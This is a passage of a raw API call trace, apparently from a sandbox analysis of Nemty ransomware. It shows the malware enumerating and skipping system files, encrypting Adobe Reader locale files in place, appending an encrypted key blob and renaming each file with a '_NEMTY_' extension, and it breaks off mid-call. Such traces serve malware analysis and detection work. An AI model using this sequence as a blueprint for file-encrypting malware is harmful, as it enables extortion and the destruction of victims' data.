GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f30a3f0, dwHighDateTime=0x1d561e8)) [0180.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f30a3f0, dwHighDateTime=0x1d561e8)) [0180.428] GetLastError () returned 0x0 [0180.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.428] GetLastError () returned 0x0 [0180.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.428] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.428] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="n2NVoDLWMJnJwIeq0MKmZcXuO+t++kPPvPfurfZg9x7moXoNKFj1g9SY9oaYmDiX\r\nXarS4aVn/cf4Hh0Oudns5VXXN1Jr22Munu3hhBIn1w91wYX/SmXxO7B2EKDiZ7lS\r\nVNucz/UCPopQ6qYAci1pWGBu1kJzGtwhTgeUo0WSK0sP/564xFqiukinL6gHiwNN\r\nLQIBy+2SzgszQeZQs5aeqZk/jFxMSANSonHPsOpOFNWWm3AcE8LkU0pAf70ai/HE\r\nZt3hb1YtkaZSJa2wMh3n0oVzUPUox2pNt56or4ugeRCdf2PAZ9fX2Gcad1RslS/V\r\nl0gQMQMidubuGcAdTlEdxw==\r\n", pcchString=0x653e5dc) returned 1 [0180.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\checkers.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.429] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=128000) returned 1 [0180.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.429] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.429] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.437] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.437] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.438] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=128000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f400 [0180.438] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.438] CloseHandle (hObject=0x2e8) returned 1 [0180.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.438] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\checkers.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\checkers.nld._nemty_kgobjgd_")) returned 1 [0180.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.439] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.NLD", cAlternateFileName="")) returned 1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2=".") returned 1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="..") returned 1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="...") returned 1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="windows") returned -1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="rsa") returned -1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="NTDETECT.COM") returned -1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="ntldr") returned -1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="MSDOS.SYS") returned -1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="IO.SYS") returned -1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="boot.ini") returned 1 [0180.439] lstrcmpiW (lpString1="DigSig.NLD", lpString2="boot.ini") returned 1 [0180.440] lstrcmpiW (lpString1="DigSig.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.440] lstrcmpiW (lpString1="DigSig.NLD", lpString2="ntuser.dat") returned -1 [0180.440] lstrcmpiW (lpString1="DigSig.NLD", lpString2="desktop.ini") returned 1 [0180.440] lstrcmpiW (lpString1="DigSig.NLD", lpString2="CONFIG.SYS") returned 1 [0180.440] lstrcmpiW (lpString1="DigSig.NLD", lpString2="RECYCLER") returned -1 [0180.440] lstrcmpiW (lpString1="DigSig.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.440] lstrcmpiW (lpString1="DigSig.NLD", lpString2="bootmgr") returned 1 [0180.440] lstrcmpiW (lpString1="DigSig.NLD", lpString2="programdata") returned -1 [0180.440] lstrcmpiW (lpString1="DigSig.NLD", lpString2="appdata") returned 1 [0180.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NLD", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NLD", lpUsedDefaultChar=0x0) returned 10 [0180.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.440] Sleep (dwMilliseconds=0x5) [0180.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f330550, dwHighDateTime=0x1d561e8)) [0180.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f330550, dwHighDateTime=0x1d561e8)) [0180.443] GetLastError () returned 0x0 [0180.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.443] GetLastError () returned 0x0 [0180.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.443] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.443] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.443] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.443] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="NyoAFftGRK1GnE1yKUzb4MZ63b80Fo60g3T4d4BcuhqETbY5MaOj2qAozI7sFPIt\r\nlhP7x3Ou0n727Bfpo4ZLISBAdlwpEcaatUjZyAspFkL3yZakzcES7cBUw2y3sLD9\r\nkxhzdg0yfrKHPwAe5FCNvSQB4xmKQBkWRA2b8zuD8rJJOGj1d0L+fWsrCCW27h+6\r\nhKgJzMRsq7qvQVpzLa4so2IuwEAY36qrYA8ZCkzGReNqLGtYihd4PU/jFE1f4j8b\r\nXJGEGTUXNWBZ6Ok0u2ydwVFqZ9nyMtt+urypV1d4v+m8xKPL5Bd2dMankrUfbQct\r\nNn5uZZ7g3ynk0znMx33N0g==\r\n", pcchString=0x653e5dc) returned 1 [0180.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\digsig.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.444] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=136192) returned 1 [0180.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.444] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.445] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.453] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.453] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=136192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21400 [0180.454] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.454] CloseHandle (hObject=0x2e8) returned 1 [0180.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0180.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.454] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\digsig.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\digsig.nld._nemty_kgobjgd_")) returned 1 [0180.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0180.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.455] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.NLD", cAlternateFileName="")) returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2=".") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="..") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="...") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="windows") returned -1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="rsa") returned -1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="NTDETECT.COM") returned -1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="ntldr") returned -1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="MSDOS.SYS") returned -1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="IO.SYS") returned -1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="boot.ini") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="boot.ini") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="ntuser.dat") returned -1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="desktop.ini") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="CONFIG.SYS") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="RECYCLER") returned -1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="bootmgr") returned 1 [0180.455] lstrcmpiW (lpString1="DVA.NLD", lpString2="programdata") returned -1 [0180.456] lstrcmpiW (lpString1="DVA.NLD", lpString2="appdata") returned 1 [0180.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NLD", lpUsedDefaultChar=0x0) returned 7 [0180.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NLD", lpUsedDefaultChar=0x0) returned 7 [0180.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NLD", lpUsedDefaultChar=0x0) returned 7 [0180.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.NLD", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.NLD", lpUsedDefaultChar=0x0) returned 7 [0180.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.456] Sleep (dwMilliseconds=0x5) [0180.458] GetSystemTimeAsFileTime (in: 